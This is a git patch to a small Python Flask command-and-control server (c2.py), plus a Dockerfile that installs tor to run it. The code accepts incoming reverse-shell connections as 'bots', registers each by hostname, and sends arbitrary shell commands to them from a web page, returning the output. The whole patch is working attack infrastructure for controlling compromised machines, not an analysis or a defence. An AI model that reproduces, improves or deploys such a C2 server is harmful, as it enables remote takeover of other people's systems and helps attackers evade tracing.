From ac499c62fe3575fe0b453138425b7b3f30485b2a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Sivert=20V=2E=20S=C3=A6ther?= Date: Tue, 30 Sep 2025 15:23:44 +0200 Subject: [PATCH] Add Dockerfile, also some bug fixes --- .dockerignore | 9 +++++++++ Dockerfile | 14 ++++++++++++++ c2.py | 52 ++++++++++++++++++++++++++++++++------------------ pyproject.toml | 1 + 4 files changed, 57 insertions(+), 19 deletions(-) create mode 100644 .dockerignore create mode 100644 Dockerfile diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..97c1401 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,9 @@ +.python-version +.dockerignore +__pycache__ +Dockerfile +.gitignore +README.md +uv.lock +.venv +.git diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..e4686a6 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,14 @@ +FROM python:slim + +RUN apt update && apt upgrade -y && \ + apt install -y tor && rm -rf /var/lib/apt/lists/* + +RUN pip install uv + +WORKDIR /app +ADD ./ . + +RUN uv sync + +ENTRYPOINT [ "/app/.venv/bin/gunicorn" ] +CMD [ "-w1", "-b0.0.0.0", "c2:app" ] diff --git a/c2.py b/c2.py index 705b99b..2419015 100644 --- a/c2.py +++ b/c2.py @@ -2,14 +2,26 @@ from socket import SOCK_STREAM, AF_INET, socket from flask import Flask, request, render_template from threading import Thread +from enum import Enum SOCKET = None +thread = None app = Flask(__name__) -threads = [] bots = {} +class Type(Enum): + DUMB = 1 + + +class Bot: + typ = Type.DUMB + + def __init__(self, conn): + self.conn = conn + + @app.route('/') def index(): return render_template('index.j2', bots=bots.keys()) @@ -18,21 +30,16 @@ def index(): @app.route('/shell/') def shell(name): cmd = request.args.get('cmd') - conn = bots.get(name) - res = None - if cmd and conn: - conn.sendall(cmd.encode() + b'\n') - res = conn.recv(4096).decode()[:-2].replace('\n', '
') + bot = bots.get(name) + if cmd and bot: + bot.conn.sendall(cmd.encode() + b'\n') + res = bot.conn.recv(4096).decode()[:-2].replace('\n', '
') + else: + res = 'balle' + print('"{}"'.format(list(bots.keys())[0])) return render_template('shell.j2', name=name, res=res) -def thread(target, args=()): - thread = Thread(target=target, args=args) - threads.append(thread) - thread.start() - return thread - - def listen(): with socket(AF_INET, SOCK_STREAM) as sock: SOCKET = sock @@ -40,19 +47,26 @@ def listen(): sock.listen() while 'pwnd': conn, addr = sock.accept() - thread(handle, (conn,)) + match conn.recv(2): + case b'$ ': + Thread(target=handle_dumb, args=(conn,)).start() + case other: + print('Got invalid magic "' + other.decode() + '"') -def handle(conn): - assert conn.recv(2) == b'$ ' +def handle_dumb(conn): conn.sendall(b'hostname\n') - hostname = conn.recv(255).split(b'\n')[0] - bots[hostname.decode()] = conn + hostname = conn.recv(255).split(b'\n')[0].decode().replace('\r', '') + bots[hostname] = Bot(conn) + + +if not thread: + thread = Thread(target=listen) + thread.start() if __name__ == '__main__': try: - thread(listen) app.run() except KeyboardInterrupt: SOCKET.close() diff --git a/pyproject.toml b/pyproject.toml index 1a7f0d7..ac507bb 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -6,4 +6,5 @@ readme = "README.md" requires-python = ">=3.12" dependencies = [ "flask>=3.1.2", + "gunicorn>=23.0.0", ]